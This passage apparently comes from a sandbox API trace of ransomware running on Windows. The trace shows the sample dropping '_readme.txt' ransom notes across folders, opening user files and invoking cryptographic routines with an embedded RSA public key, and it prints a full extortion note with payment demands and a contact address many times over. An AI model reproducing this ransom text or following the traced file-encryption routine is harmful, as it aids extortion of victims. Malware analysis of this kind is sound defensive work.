strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.484] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.484] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.484] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0124.484] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.484] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.485] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.485] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.485] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.485] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.485] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.485] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.485] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0124.485] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0124.485] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.485] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.485] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.486] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.486] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0124.486] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.486] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.486] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.486] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.486] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.486] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.486] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.487] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.487] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.487] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.487] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x558cd760, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x558cd760, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0124.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0124.487] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0124.487] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.487] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.487] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.488] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd905ad20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd905ad20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0124.488] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.488] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.488] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0124.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0124.489] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1178) returned 1 [0124.489] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0124.491] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.491] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0124.493] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x49a, lpOverlapped=0x0) returned 1 [0124.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0124.493] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0124.494] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0124.494] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0124.494] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x11) returned 0x34640f0 [0124.494] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x34640f0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x34640f0, pdwDataLen=0x3dcfa54) returned 1 [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.494] SetLastError (dwErrCode=0x0) [0124.494] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450318 [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.495] GetLastError () returned 0x0 [0124.495] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] GetLastError () returned 0x0 [0124.496] SetLastError (dwErrCode=0x0) [0124.496] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.496] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450318 | out: hHeap=0x810000) returned 1 [0124.496] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34640f0 | out: hHeap=0x810000) returned 1 [0124.496] CryptDestroyHash (hHash=0x3463888) returned 1 [0124.496] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0124.496] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2ff8 | out: hHeap=0x810000) returned 1 [0124.496] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0124.497] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0124.497] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471038 [0124.497] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0124.497] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.497] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x4a0) returned 0x3ae3530 [0124.497] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0124.497] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471038 | out: hHeap=0x810000) returned 1 [0124.497] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1f0) returned 0x3ae39d8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471038 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1f0) returned 0x3ae2ff8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x58) returned 0x3459fe8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed3f0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439720 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d55a8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x14) returned 0x34640b0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x34d55c0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5590 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5548 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x14) returned 0x34640f0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x34d5518 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5530 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5578 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5560 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d55d8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d55f0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d5608 [0124.498] 